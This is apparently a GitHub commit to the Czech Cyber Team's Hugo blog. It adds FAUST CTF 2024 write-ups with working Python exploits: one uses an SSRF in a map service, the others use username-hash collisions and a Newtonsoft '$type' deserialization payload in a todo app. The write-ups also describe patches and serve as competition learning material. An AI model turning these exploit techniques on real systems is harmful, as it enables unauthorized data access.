-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
14 changed files
with
351 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
public/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
[submodule "themes/PaperMod"] | ||
path = themes/PaperMod | ||
url = https://github.com/adityatelange/hugo-PaperMod.git |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
+++ | ||
title = '{{ replace .File.ContentBaseName "-" " " | title }}' | ||
date = {{ .Date }} | ||
draft = true | ||
+++ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,162 @@ | ||
--- | ||
title: "FAUST CTF 2024 QuickR Maps Writeup" | ||
date: 2024-10-11T06:00:00+02:00 | ||
author: "Hackrrr" | ||
tags: [ "writeups" ] | ||
--- | ||
|
||
QuickR Maps service allows users to store and share locations on map. There are two instances hidden behind one frontend/proxy - public and private. Public instance shows all stored locations to everyone, private instace shows only locations accessible to you (that are either yours locations or locations explicitly shared with you). | ||
|
||
## SSRF | ||
Application had only one "frontend" which then handled to which instance/server will actually go. This is based on `server` GET parameter. Original logic for handling and validating looks like this (logic is basically same for every endpoint): | ||
```py | ||
@main.get('/api/locations') | ||
def get_locations(): | ||
server_host = request.args.get('server') | ||
server_url = f"http://{server_host}:4242/location/" | ||
u = urlparse(server_url) | ||
if u.hostname not in REGISTERED_PRIV_SERVERS + REGISTERED_PUB_SERVERS: | ||
flash("Server not supported", "danger") | ||
return redirect(url_for('main.add_location')) | ||
# ... | ||
requests.get(server_url, timeout=TIMEOUT) | ||
# ... | ||
``` | ||
|
||
This is quite obviously flawed - first URL is constructed from user supplied value (`server` parameter) and then this "new" URL is validated/parsed to check if it is one of allowed backend instances/servers. This allows us (= attackers) to send basically any request to any backed server if we supply "correct" value to `server` paramters (e.g. `private_loc:4242/some/backend/endpoint&x=` becomes `http://private_loc:4242/some/backend/endpoint` (assuming that `x` is ignored by backend server (which is))). | ||
|
||
We can use this ability to share locations from another user to us on private instance: | ||
```py | ||
session.post( | ||
f"http://[{host}]:4241/api/share", | ||
data={ | ||
"server": f"private_loc:4242/share/{TARGET_USER}?receiver={OUR_USER_ID}&x=", | ||
"receiver": OUR_USER_ID, | ||
}, | ||
allow_redirects=False, | ||
) | ||
``` | ||
|
||
*Note: Same/Similar could be done also on other (frontend) endpoints (e.g. bulk add).* | ||
|
||
Patch is *really quite simple*, just don't use `urlparse()` at all and check `server_host` validity directly. This patch needs to be done for every endpoint. | ||
|
||
## Getting the flag | ||
Vulnerability was (at least for me) actually the easy part... Extracting the flag was the hard/annoying part. One would thought that flag would be stored in descripton of some location but no. We were little confused when we found out that there is no flag in descriptions of stolen locations (from checker/flagID user). So we had a look at map of stolen locations and saw one dense area of points... and when we zoomed in we realized that it is a QR code (it requires a bit of cleanup by showing only oldest locations/points). | ||
|
||
Fist flag we submitted manully just by taking our mobile phone, scanning it from screen and sending it to game server (sorry team Spain) just as sanity check that this is actully thing we need to do. And then I spent not exactly small amount of time trying to parse QR code in Pyhton (this was so painful, I tried several different libraries for QR code parsing until I found something that worked somehow): | ||
```py | ||
import zxingcpp | ||
import numpy | ||
from PIL import Image | ||
|
||
# Get the locations (assuming we already somehow got valid `session`) | ||
locs = session.get(f"http://[{host}]:4241/api/locations?server=private_loc").json() | ||
|
||
# Keep only oldest locations | ||
timestamp = min(x["timestamp"] for x in locs) | ||
filtered = [x for x in locs if x["timestamp"] == timestamp] | ||
|
||
# Creating a "grid" so we can than translate lat/long to x/y | ||
lats = set() | ||
longs = set() | ||
for x in filtered: | ||
lats.add(x["lat"]) | ||
longs.add(x["lon"]) | ||
lats = sorted(lats) | ||
longs = sorted(longs) | ||
|
||
# Create QR code image | ||
img = Image.new(mode="RGB", size=(len(lats), len(longs)), color=(255, 255, 255)) | ||
for x in filtered: | ||
img.putpixel((lats.index(x["lat"]), longs.index(x["lon"])), (0, 0, 0)) | ||
|
||
# Parse QR code | ||
# This was the annoying part :) | ||
cv_img = numpy.array(img.convert("RGB"))[:, :, ::-1].copy() | ||
for x in zxingcpp.read_barcodes(cv_img): | ||
print(x.text) | ||
``` | ||
|
||
And so final exploit looks like this: | ||
```py | ||
#!/usr/bin/env python3 | ||
|
||
import json | ||
import random | ||
import string | ||
import sys | ||
|
||
import numpy | ||
import requests | ||
import zxingcpp | ||
from PIL import Image | ||
|
||
host = ... | ||
flag_id = ... # = Target username | ||
|
||
def randstr( | ||
length: int, extra: str = "", chars: str = string.ascii_letters + string.digits | ||
) -> str: | ||
return "".join(random.choices(chars + extra, k=length)) | ||
|
||
# Random "checker looking" username | ||
user = f"striker_guardian_{randstr(32, chars="0123456789abcdef")}" | ||
password = randstr(32, chars="0123456789abcdef") | ||
|
||
# Register | ||
session = requests.Session() | ||
session.post( | ||
f"http://[{host}]:4241/register", | ||
data={"agent_alias": user, "password": password}, | ||
allow_redirects=False, | ||
) | ||
# Login | ||
r = session.post( | ||
f"http://[{host}]:4241/login", | ||
data={"agent_alias": user, "password": password}, | ||
) | ||
# Getting our user ID | ||
user_id = r.text.split('<div class="agent-id">ID: ', 1)[1].split("</div>", 1)[0] | ||
|
||
# Exploit | ||
session.post( | ||
f"http://[{host}]:4241/api/share", | ||
data={ | ||
"server": f"private_loc:4242/share/{flag_id}?receiver={user_id}&x=", | ||
"receiver": user_id, | ||
}, | ||
allow_redirects=False, | ||
) | ||
|
||
# Getting the flag | ||
locs = session.get(f"http://[{host}]:4241/api/locations?server=private_loc").json() | ||
timestamp = min(x["timestamp"] for x in locs) | ||
filtered = [x for x in locs if x["timestamp"] == timestamp] | ||
|
||
lats = set() | ||
longs = set() | ||
for x in filtered: | ||
lats.add(x["lat"]) | ||
longs.add(x["lon"]) | ||
lats = sorted(lats) | ||
longs = sorted(longs) | ||
|
||
img = Image.new(mode="RGB", size=(len(lats), len(longs)), color=(255, 255, 255)) | ||
for x in filtered: | ||
img.putpixel((lats.index(x["lat"]), longs.index(x["lon"])), (0, 0, 0)) | ||
|
||
cv_img = numpy.array(img.convert("RGB"))[:, :, ::-1].copy() | ||
for x in zxingcpp.read_barcodes(cv_img): | ||
print(x.text) | ||
``` | ||
|
||
## Other way to the flag | ||
There is also different "vulnerability". There is one specific line in `__init__.py`: | ||
```py | ||
app.config['SECRET_KEY'] = 'secret-key-goes-here' | ||
``` | ||
|
||
We realized this like in half of whole A/D (and I'm being very optimistic here with this time) and so... well... yeah, ~~we~~ I'm dumb. :) | ||
|
||
Anyway, you could use this key to then forge session as target user and just get its locations. Unfortunatelly we couldn't make it work as we stumbled upon some weird `flask-login` "internals"/problems that we weren't able to solve. Patch is trivial, just change key to something else. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,144 @@ | ||
--- | ||
title: "FAUST CTF 2024 Todo List Writeup" | ||
date: 2024-10-11T06:00:00+02:00 | ||
author: "Greenscreener" | ||
tags: [ "writeups" ] | ||
--- | ||
I participated in this years FAUST CTF, alongside the Czech ECSC team, incognito | ||
with a fake team name: "Team Calabria". I managed to score first blood on one of | ||
the services, this is the writeup. | ||
|
||
An extremely feature-rich service written in C# (like srsly, why would you | ||
implement 2FA for an A/D service and then never use it?). We identified two | ||
different vulnerabilities, one based in the generation of user IDs and the other | ||
one caused by an unsafe `Newtonsoft.Json` configuration. The one we found first | ||
and was used for the first blood was the former. | ||
|
||
## User ID vulnerability | ||
|
||
There is a very wild looking function called `GetUserId`, which is used to | ||
generate an ID that identifies the owner of a TODO. When a TODO is created, the | ||
current user's ID is attached to it and only TODOs matching the current user's | ||
ID are displayed. | ||
|
||
The function generates this ID solely from the username and the algorithm to | ||
generate this ID is however extremely bad and collisions can be created very | ||
easily. The username is first lowercased (or uppercased if it is short), then | ||
reversed, all vowels are replaced with asterisks, all asterisks are replaced | ||
with ones and then it is finally reversed again. Each character of the resulting | ||
string is then turned into a number by multiplying the character value by some | ||
constant and the resulting numbers are summed together. The resulting sum is | ||
then turned into a string and used as the ID. | ||
|
||
This gives two opportunities for a collision: | ||
|
||
1. The following characters: `aeiou*1` are all equivalent and can be freely | ||
exchanged without changing the resulting user ID. | ||
2. As the numbers are all summed at the end, all characters of the username can | ||
be reordered freely. | ||
3. (and generally any modification that is preserved in the sum, these are just | ||
the most obvious) | ||
|
||
The first exploit looked something like this: | ||
|
||
```python | ||
s = requests.session() | ||
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text) | ||
print("Got homepage") | ||
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) | ||
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={ | ||
"Input.Email": flag_id.replace("a", "1"), | ||
"Input.Password": "NoNoNo1!", | ||
"Input.ConfirmPassword": "NoNoNo1!", | ||
"__RequestVerificationToken": veriftoken}) | ||
print("Registered") | ||
flagtext = (s.get(f"http://[{host}]:8080/Todo/ListTodos").text) | ||
print(flagtext) | ||
``` | ||
|
||
To make it more robust and resistant to trivial patches and fake flags, we then expanded it: | ||
|
||
```python | ||
password = ''.join(random.choice(string.ascii_uppercase + string.digits + string.printable) for _ in range(40)) | ||
|
||
for c in "a1eioux": | ||
username = flag_id | ||
if c == "a": | ||
username .join([shuf(s) for s in username.split("@")]) | ||
elif c == 'x': | ||
username = 'admin.' + shuf(username.split("@")[0].split(".")[1]) + "@" + username.split("@")[1] | ||
else: | ||
username = flag_id.replace("a", c) | ||
print(username) | ||
s = requests.session() | ||
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text) | ||
print("Got homepage") | ||
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore | ||
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={ | ||
"Input.Email": username, | ||
"Input.Password": password, | ||
"Input.ConfirmPassword": password, | ||
"__RequestVerificationToken": veriftoken}) | ||
print("Registered") | ||
flagtext = (s.get(f"http://[{host}]:8080/Todo/ListTodos").text) | ||
flagtext = "\n".join([line for line in flagtext.split("\n") if 'FAUST_Q1' in line]) | ||
if "FAUST_Q1" in flagtext: | ||
print(flagtext) | ||
return | ||
flagtext = (s.get(f"http://[{host}]:8080/Todo/Export?format=json").text) | ||
flagtext = "\n".join([line for line in flagtext.split("\n") if 'FAUST_Q1' in line]) | ||
if "FAUST_Q1" in flagtext: | ||
print(flagtext) | ||
return | ||
``` | ||
|
||
## `TypeNameHandling` vulnerability | ||
|
||
The second vulnerability leveraged the `TypeNameHandling` configuration option | ||
of `Newtonsoft.Json`. This configuration option is | ||
[bad](https://stackoverflow.com/questions/39565954/typenamehandling-caution-in-newtonsoft-json) | ||
and is even discouraged by a | ||
[code quality rule](https://stackoverflow.com/questions/39565954/typenamehandling-caution-in-newtonsoft-json) | ||
(which isn't enabled by default though). | ||
|
||
The option allows the attacker to include a `$type` property in a JSON object, | ||
which then causes the `Newtonsoft` deserializer to deserialize it as any type | ||
that is available in the current assembly. This poses an obvious code execution | ||
vulnerability, as the attacker can call the constructor or property initializer | ||
of any class. Conveniently, the `Filter` class automatically adds itself into | ||
the database when it's initialized using its `QueryString` property and thus can | ||
be used to add arbitrary filters into the database and we can create a filter | ||
that shows us the TODOs of a different user. | ||
|
||
```python | ||
username = f"admin.{randstring(7)}@todo-list-{randstring(7)}.de" | ||
password = ''.join(random.choice(string.ascii_uppercase + string.digits + string.printable) for _ in range(40)) | ||
|
||
s = requests.session() | ||
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text) | ||
print("Got homepage") | ||
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore | ||
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={ | ||
"Input.Email": username, | ||
"Input.Password": password, | ||
"Input.ConfirmPassword": password, | ||
"__RequestVerificationToken": veriftoken}) | ||
print("Registered") | ||
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Login", timeout=2).text) | ||
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore | ||
s.post(f"http://[{host}]:8080/Identity/Account/Login", data={ | ||
"Input.Email": username, | ||
"Input.Password": password, | ||
"__RequestVerificationToken": veriftoken}) | ||
print("Loggedin") | ||
filtername = randstring(12) | ||
s.post(f"http://[{host}]:8080/Todo/Import", files={"file": io.StringIO(json.dumps({ | ||
"$type": "service.Models.Filter, service", | ||
"Id": 0, | ||
"User": username, | ||
"Name": filtername, | ||
"QueryString": "{\"User\":\"" + flag_id + "\", \"Category\": \"\", \"FromTime\": -1, \"ToTime\": -1}", | ||
}))}) | ||
flagtext = s.get(f"http://[{host}]:8080/Todo/ApplyFilter?name=" + filtername).text | ||
print(flagtext) | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
baseURL: https://czechcyberteam.github.io/ | ||
languageCode: en-us | ||
title: Czech Cyber Team Blog | ||
copyright: "CzechCyberTeam" | ||
theme: ["PaperMod"] | ||
|
||
enableInlineShortcodes: true | ||
enableRobotsTXT: true | ||
buildDrafts: false | ||
buildFuture: false | ||
buildExpired: false | ||
enableEmoji: true | ||
pygmentsUseClasses: true | ||
|
||
assets.favicon: "static/favicon.ico" | ||
label.icon: "static/apple-touch-icon.png" | ||
|
||
params: | ||
ShowFullTextinRSS: true | ||
ShowCodeCopyButtons: true | ||
keywords: ["Cybersecurity", "CTF", "ECSC", "Kybersoutěž", "CzechCyberTeam"] | ||
defaultTheme: dark | ||
homeInfoParams: | ||
Title: Ahoj! | ||
Content: We are The Czech Cyber Team. Young people with a passion for cybersecurity from Czechia. We are gathered around the Czech national [ECSC](https://ecsc.eu/) qualifier [Kybersoutěž](https://kybersoutez.cz). The Czech National Team going to ECSC is assembled from our members. | ||
socialIcons: # optional | ||
- name: "twitter" | ||
url: "https://twitter.com/CzechCyberTeam" | ||
ShowToc: true | ||
|
||
outputs: | ||
home: | ||
- HTML | ||
- RSS |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"} |